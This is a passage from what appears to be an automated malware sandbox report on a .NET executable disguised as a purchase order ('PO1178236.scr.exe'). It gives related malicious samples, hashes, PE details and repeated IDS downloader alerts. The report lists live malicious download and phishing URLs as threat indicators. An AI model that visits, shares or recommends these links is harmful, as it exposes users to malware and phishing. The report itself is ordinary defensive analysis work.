	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://qr.me-qr.com/PVhBu5SR	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://join.grass-io.cc	Get hash	malicious	Unknown	Browse	104.18.18.237
	https://qr.me-qr.com/pt/E9k76ew	Get hash	malicious	Unknown	Browse	188.114.96.3
	watchdog.elf	Get hash	malicious	Xmrig	Browse	1.1.1.1
	https://lap.gnoqwwhpwe.ru/3aeK/#Dmestevao@iif.com	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://rinderynitvye.blogspot.com/	Get hash	malicious	CAPTCHA Scam ClickFix, Phisher	Browse	188.114.97.3
	https://lap.gnoqwwhpwe.ru/3aeK/#Dmestevao@iif.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	Condenast eCHECK- Payment Advice.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mail.voipmessage.uk/XZmNVMGRWSjAyR3hxcDF0LzhSdGt1ZFZjdG0vUU9uWWRDQXI2eXJwbnNYd0FnNE9TWjhBNncyakhQSlRKa0poSEVkY09KRzlaVG9SSGM4NSt2bHh3M0h4eHpwKzZNZlpMUU9rWklrRlg2R0R3ak9qbVA4T21TZXpzYUxJazlsaVo0ODNubmNtS1ZuQTdWL1dLa3kvZVpKeU5WOUJWUVRFMHcxRWhsODJKQTdVV2NSUmloaFBtRWdiL1lGQ0VCOTNUUjVmSE1nPT0tLVpvYUVQQVVmdkNSZmR3ZUItLWhoMjNyU1ZFSWhzclZVc0cwdTEwS0E9PQ==?cid=305193241	Get hash	malicious	KnowBe4	Browse	104.17.247.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Ref#103052.exe	Get hash	malicious	XWorm	Browse	188.114.96.3
	NEW PURCHASE INQUIRY.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://minia.n1tab.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://topmarktingplace.com/4vfVEJ42616owhy1324yhmrkkdpck110EVYGTFUNAFUPGFT22589MFQQ17548D10	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://topmarktingplace.com/4KCrhO42616HeLs1324axlafysauc110UGQLALGLNEZCHJM22589XDWY17548d10	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	ZipThis.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.825274372889422
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PO1178236.scr.exe
File size:	12'800 bytes
MD5:	d165a97582770739cc7b847e1b5dbeef
SHA1:	fa06c1014fa0810e3ea2cbc661e9bb443461ad9e
SHA256:	bf6aabd3c8fc42049fc6435f2432c97a8e8aa3258e0591b3756d5d84df2b3e6c
SHA512:	2e4f226bf38340ea356c6003549bccfca562247375475b82e92ba97d9f7969fc795e2a3134dbcb0aecec2bc3df48785552995ce4714aff627fc101caa379f9dc
SSDEEP:	192:aQx1U46h8FHN3t4Ag/MkpAfQZz/IJ5ev:/y8FHNmZMkpAIZz/ILe
TLSH:	ED42F804A7568732D6E84BF29EC3C2643370F7057A87AB0F37C2290F7D65316692679A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....gf.....................".......-... ...@....@.. ....................................`................................

File Icon


Icon Hash:	70cccc8692968ec8

Static PE Info

General

Entrypoint:	0x402db2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6667C180 [Tue Jun 11 03:16:16 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402DC0h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xchg eax, esp
sub eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d64	0x4c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x1eba	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2dc0	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xdc8	0xe00	caab0ad57057fb9b6acb131f511d1581	False	0.5831473214285714	data	5.441551682844076	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x1eba	0x2000	436c151efd6df54d7d2977309f751802	False	0.3961181640625	data	4.621716604119004	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	cc3e720024df4307c896442516776270	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4100	0x1870	Device independent bitmap graphic, 35 x 84 x 32, image size 5880	0.4040920716112532
RT_GROUP_ICON	0x5980	0x14	data	1.1
RT_VERSION	0x59a4	0x31c	data	0.4321608040201005
RT_MANIFEST	0x5cd0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T08:28:21.665180+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49731	188.114.96.3	443	TCP
2025-01-09T08:28:22.319666+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49732	188.114.96.3	443	TCP
2025-01-09T08:28:22.916595+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49733	188.114.96.3	443	TCP
2025-01-09T08:28:23.524792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49734	188.114.96.3	443	TCP
2025-01-09T08:28:24.103377+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	188.114.96.3	443	TCP
2025-01-09T08:28:24.697782+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	188.114.96.3	443	TCP
2025-01-09T08:28:25.317827+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-09T08:28:25.901582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-09T08:28:26.529570+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	188.114.96.3	443	TCP
2025-01-09T08:28:27.103333+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	188.114.96.3	443	TCP
2025-01-09T08:28:27.702350+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49741	188.114.96.3	443	TCP
2025-01-09T08:28:28.356175+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	443	TCP
2025-01-09T08:28:28.967531+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49743	188.114.96.3	443	TCP
2025-01-09T08:28:29.557222+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	188.114.96.3	443	TCP
2025-01-09T08:28:30.152925+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	188.114.96.3	443	TCP
2025-01-09T08:28:30.761427+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.96.3	443	TCP
2025-01-09T08:28:31.388579+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	188.114.96.3	443	TCP
2025-01-09T08:28:31.996503+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49748	188.114.96.3	443	TCP
2025-01-09T08:28:32.624735+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	188.114.96.3	443	TCP
2025-01-09T08:28:33.251300+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49750	188.114.96.3	443	TCP
2025-01-09T08:28:33.839274+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	188.114.96.3	443	TCP
2025-01-09T08:28:34.432819+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49752	188.114.96.3	443	TCP
2025-01-09T08:28:35.045572+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49753	188.114.96.3	443	TCP
2025-01-09T08:28:35.670449+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	188.114.96.3	443	TCP
2025-01-09T08:28:36.261095+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49755	188.114.96.3	443	TCP
2025-01-09T08:28:36.853858+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	443	TCP
2025-01-09T08:28:37.430617+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49757	188.114.96.3	443	TCP
2025-01-09T08:28:38.037978+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	188.114.96.3	443	TCP
2025-01-09T08:28:38.618070+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49761	188.114.96.3	443	TCP
2025-01-09T08:28:39.331574+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49764	188.114.96.3	443	TCP
2025-01-09T08:28:39.917147+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49766	188.114.96.3	443	TCP
2025-01-09T08:28:40.545752+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49767	188.114.96.3	443	TCP
2025-01-09T08:28:41.147178+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49769	188.114.96.3	443	TCP
2025-01-09T08:28:41.781434+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	188.114.96.3	443	TCP
2025-01-09T08:28:42.389678+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49771	188.114.96.3	443	TCP
2025-01-09T08:28:42.993559+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49772	188.114.96.3	443	TCP
2025-01-09T08:28:43.639306+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49773	188.114.96.3	443	TCP
2025-01-09T08:28:44.249809+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49774	188.114.96.3	443	TCP
2025-01-09T08:28:44.860550+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	188.114.96.3	443	TCP
2025-01-09T08:28:45.462421+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49776	188.114.96.3	443	TCP
2025-01-09T08:28:46.035795+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49777	188.114.96.3	443	TCP
2025-01-09T08:28:46.636799+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49778	188.114.96.3	443	TCP
2025-01-09T08:28:47.228302+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49779	188.114.96.3	443	TCP
2025-01-09T08:28:47.822997+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49780	188.114.96.3	443	TCP
2025-01-09T08:28:48.417779+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	443	TCP
2025-01-09T08:28:49.028685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49782	188.114.96.3	443	TCP
2025-01-09T08:28:49.621332+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	188.114.96.3	443	TCP
2025-01-09T08:28:50.249001+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	443	TCP
2025-01-09T08:28:50.857637+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49785	188.114.96.3	443	TCP
2025-01-09T08:28:51.484173+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49786	188.114.96.3	443	TCP
2025-01-09T08:28:52.173163+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	188.114.96.3	443	TCP
2025-01-09T08:28:52.808925+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49788	188.114.96.3	443	TCP
2025-01-09T08:28:53.430063+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49789	188.114.96.3	443	TCP
2025-01-09T08:28:54.035661+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49790	188.114.96.3	443	TCP
2025-01-09T08:28:54.639227+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49791	188.114.96.3	443	TCP
2025-01-09T08:28:55.231952+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49792	188.114.96.3	443	TCP
2025-01-09T08:28:55.864470+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	188.114.96.3	443	TCP
2025-01-09T08:28:56.485799+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	188.114.96.3	443	TCP
2025-01-09T08:28:57.092698+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49795	188.114.96.3	443	TCP
2025-01-09T08:28:57.701106+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49796	188.114.96.3	443	TCP
2025-01-09T08:28:58.321209+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	188.114.96.3	443	TCP
2025-01-09T08:28:58.919608+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49798	188.114.96.3	443	TCP
2025-01-09T08:28:59.531524+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49799	188.114.96.3	443	TCP
2025-01-09T08:29:00.137577+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	443	TCP
2025-01-09T08:29:00.744588+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	188.114.96.3	443	TCP
2025-01-09T08:29:01.357722+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49802	188.114.96.3	443	TCP
2025-01-09T08:29:01.976786+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	188.114.96.3	443	TCP
2025-01-09T08:29:02.608317+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49804	188.114.96.3	443	TCP
2025-01-09T08:29:03.230908+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49805	188.114.96.3	443	TCP
2025-01-09T08:29:03.824233+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49806	188.114.96.3	443	TCP
2025-01-09T08:29:04.422548+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49807	188.114.96.3	443	TCP
2025-01-09T08:29:05.024639+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49808	188.114.96.3	443	TCP
2025-01-09T08:29:05.634256+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49809	188.114.96.3	443	TCP
2025-01-09T08:29:06.261815+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	188.114.96.3	443	TCP
2025-01-09T08:29:06.885062+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49811	188.114.96.3	443	TCP
2025-01-09T08:29:07.497727+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49812	188.114.96.3	443	TCP
2025-01-09T08:29:08.102073+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49813	188.114.96.3	443	TCP
2025-01-09T08:29:08.701616+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49814	188.114.96.3	443	TCP
2025-01-09T08:29:09.329516+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49815	188.114.96.3	443	TCP
2025-01-09T08:29:09.943725+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49816	188.114.96.3	443	TCP
2025-01-09T08:29:10.540948+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49817	188.114.96.3	443	TCP
2025-01-09T08:29:11.229363+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49818	188.114.96.3	443	TCP
2025-01-09T08:29:11.824340+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49819	188.114.96.3	443	TCP
2025-01-09T08:29:12.531176+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	443	TCP
2025-01-09T08:29:13.156827+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49821	188.114.96.3	443	TCP
2025-01-09T08:29:13.762638+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49822	188.114.96.3	443	TCP
2025-01-09T08:29:14.353418+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	188.114.96.3	443	TCP
2025-01-09T08:29:14.965933+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	443	TCP
2025-01-09T08:29:15.560253+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49826	188.114.96.3	443	TCP
2025-01-09T08:29:16.191718+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49832	188.114.96.3	443	TCP
2025-01-09T08:29:16.800212+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49839	188.114.96.3	443	TCP
2025-01-09T08:29:17.417567+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49845	188.114.96.3	443	TCP
2025-01-09T08:29:18.011810+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49846	188.114.96.3	443	TCP
2025-01-09T08:29:18.628163+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49852	188.114.96.3	443	TCP
2025-01-09T08:29:19.214713+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49858	188.114.96.3	443	TCP
2025-01-09T08:29:19.841767+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49863	188.114.96.3	443	TCP
2025-01-09T08:29:20.432646+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49868	188.114.96.3	443	TCP
2025-01-09T08:29:21.054643+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49871	188.114.96.3	443	TCP
2025-01-09T08:29:21.685543+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49877	188.114.96.3	443	TCP
2025-01-09T08:29:22.277071+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49883	188.114.96.3	443	TCP
2025-01-09T08:29:22.893117+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49888	188.114.96.3	443	TCP
2025-01-09T08:29:23.478651+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49894	188.114.96.3	443	TCP
2025-01-09T08:29:24.073365+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49896	188.114.96.3	443	TCP
2025-01-09T08:29:24.686817+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49902	188.114.96.3	443	TCP
2025-01-09T08:29:25.320389+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49908	188.114.96.3	443	TCP
2025-01-09T08:29:26.000582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49911	188.114.96.3	443	TCP
2025-01-09T08:29:26.642880+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49916	188.114.96.3	443	TCP
2025-01-09T08:29:27.265950+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49922	188.114.96.3	443	TCP
2025-01-09T08:29:27.890463+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49927	188.114.96.3	443	TCP
2025-01-09T08:29:28.516621+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49933	188.114.96.3	443	TCP
2025-01-09T08:29:29.103585+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49938	188.114.96.3	443	TCP
2025-01-09T08:29:29.716615+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49941	188.114.96.3	443	TCP
2025-01-09T08:29:30.343810+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49946	188.114.96.3	443	TCP
2025-01-09T08:29:30.932221+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49952	188.114.96.3	443	TCP
2025-01-09T08:29:31.528574+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49956	188.114.96.3	443	TCP
2025-01-09T08:29:32.138748+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49962	188.114.96.3	443	TCP
2025-01-09T08:29:32.764129+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49966	188.114.96.3	443	TCP
2025-01-09T08:29:33.355349+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49971	188.114.96.3	443	TCP
2025-01-09T08:29:33.952911+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49977	188.114.96.3	443	TCP
2025-01-09T08:29:34.563504+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49982	188.114.96.3	443	TCP
2025-01-09T08:29:35.165680+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49987	188.114.96.3	443	TCP
2025-01-09T08:29:35.746675+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49991	188.114.96.3	443	TCP
2025-01-09T08:29:36.339283+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49996	188.114.96.3	443	TCP
2025-01-09T08:29:36.932372+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50001	188.114.96.3	443	TCP
2025-01-09T08:29:37.550558+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50006	188.114.96.3	443	TCP
2025-01-09T08:29:38.151035+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50012	188.114.96.3	443	TCP
2025-01-09T08:29:38.728618+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50015	188.114.96.3	443	TCP
2025-01-09T08:29:39.353184+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50021	188.114.96.3	443	TCP
